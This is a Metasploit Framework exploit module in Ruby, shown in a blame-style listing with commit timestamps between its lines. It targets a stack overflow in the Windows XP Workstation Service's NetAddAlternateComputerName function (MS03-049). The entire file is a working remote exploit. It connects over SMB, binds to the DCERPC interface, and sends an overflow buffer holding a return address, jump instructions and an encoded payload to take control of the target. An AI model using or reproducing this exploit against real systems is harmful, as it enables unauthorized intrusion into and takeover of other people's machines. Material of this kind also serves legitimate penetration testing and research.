2007-02-18 01:10:39 +01:00
|
|
|
##
|
2007-03-01 09:21:36 +01:00
|
|
|
# $Id$
|
2007-02-18 01:10:39 +01:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 10:40:19 +02:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 01:10:39 +01:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 16:33:26 +02:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 01:10:39 +01:00
|
|
|
##
|
|
|
|
|
2006-09-10 07:10:48 +02:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 07:23:59 +02:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 06:50:37 +01:00
|
|
|
Rank = GoodRanking
|
2006-09-10 07:10:48 +02:00
|
|
|
|
2008-10-02 07:23:59 +02:00
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
include Msf::Exploit::Remote::SMB
|
2006-09-10 07:10:48 +02:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 10:40:19 +02:00
|
|
|
super(update_info(info,
|
2006-09-13 08:49:39 +02:00
|
|
|
'Name' => 'Microsoft Workstation Service NetAddAlternateComputerName Overflow',
|
2006-09-10 07:10:48 +02:00
|
|
|
'Description' => %q{
|
2010-04-30 10:40:19 +02:00
|
|
|
This module exploits a stack overflow in the NetApi32 NetAddAlternateComputerName
|
2006-09-10 07:10:48 +02:00
|
|
|
function using the Workstation service in Windows XP.
|
|
|
|
},
|
2010-04-30 10:40:19 +02:00
|
|
|
'Author' => [ 'hdm' ],
|
2006-09-10 07:10:48 +02:00
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 01:10:39 +01:00
|
|
|
'Version' => '$Revision$',
|
2006-09-10 07:10:48 +02:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-06-12 01:23:58 +02:00
|
|
|
[ 'CVE', '2003-0812' ],
|
2006-09-10 07:10:48 +02:00
|
|
|
[ 'OSVDB', '11461' ],
|
2009-07-16 18:02:24 +02:00
|
|
|
[ 'BID', '9011' ],
|
|
|
|
[ 'MSB', 'MS03-049' ],
|
2006-09-10 07:10:48 +02:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
2010-04-30 10:40:19 +02:00
|
|
|
{
|
2006-09-10 07:10:48 +02:00
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c" + [*(0x80..0x9f)].pack('C*'),
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'DefaultTarget' => 0,
|
2010-04-30 10:40:19 +02:00
|
|
|
'Targets' =>
|
2006-09-10 07:10:48 +02:00
|
|
|
[
|
2010-04-30 10:40:19 +02:00
|
|
|
[ 'Windows XP SP0/SP1',
|
2006-09-10 07:10:48 +02:00
|
|
|
{
|
|
|
|
'Ret' => 0x71aa32ad # pop/pop/ret in ws2help.dll
|
2010-04-30 10:40:19 +02:00
|
|
|
}
|
2006-09-10 07:10:48 +02:00
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Nov 11 2003'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
2010-04-30 10:40:19 +02:00
|
|
|
def exploit
|
2006-09-10 07:10:48 +02:00
|
|
|
|
|
|
|
connect()
|
|
|
|
smb_login()
|
|
|
|
|
|
|
|
handle = dcerpc_handle(
|
2010-04-30 10:40:19 +02:00
|
|
|
'6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
|
2006-09-10 07:10:48 +02:00
|
|
|
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
|
|
|
|
)
|
2010-04-30 10:40:19 +02:00
|
|
|
|
2006-09-10 07:10:48 +02:00
|
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
dcerpc_bind(handle)
|
|
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
|
2010-04-30 10:40:19 +02:00
|
|
|
print_status("Building the stub data...")
|
|
|
|
|
|
|
|
|
2007-03-01 09:21:36 +01:00
|
|
|
name = rand_text_alphanumeric(5000)
|
2006-09-10 07:10:48 +02:00
|
|
|
name[3496, 4] = [target.ret].pack('V')
|
|
|
|
name[3492, 2] = "\xeb\x06"
|
|
|
|
name[3500, 5] = "\xe9" + [-3505].pack('V')
|
|
|
|
name[0, payload.encoded.length] = payload.encoded
|
|
|
|
|
2010-04-30 10:40:19 +02:00
|
|
|
stub =
|
2006-09-10 07:10:48 +02:00
|
|
|
NDR.long(rand(0xffffffff)) +
|
|
|
|
NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
|
|
|
|
NDR.long(rand(0xffffffff)) +
|
|
|
|
NDR.UnicodeConformantVaryingString(name) +
|
|
|
|
NDR.long(rand(0xffffffff)) +
|
|
|
|
NDR.UnicodeConformantVaryingString('') +
|
|
|
|
NDR.long(0) +
|
|
|
|
NDR.long(0)
|
2010-04-30 10:40:19 +02:00
|
|
|
|
2006-09-10 07:10:48 +02:00
|
|
|
print_status("Calling the vulnerable function...")
|
2010-04-30 10:40:19 +02:00
|
|
|
|
2006-09-10 07:10:48 +02:00
|
|
|
begin
|
|
|
|
dcerpc.call(0x1b, stub)
|
|
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
|
|
rescue => e
|
|
|
|
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
|
|
|
|
raise e
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Cleanup
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-07-16 18:02:24 +02:00
|
|
|
end
|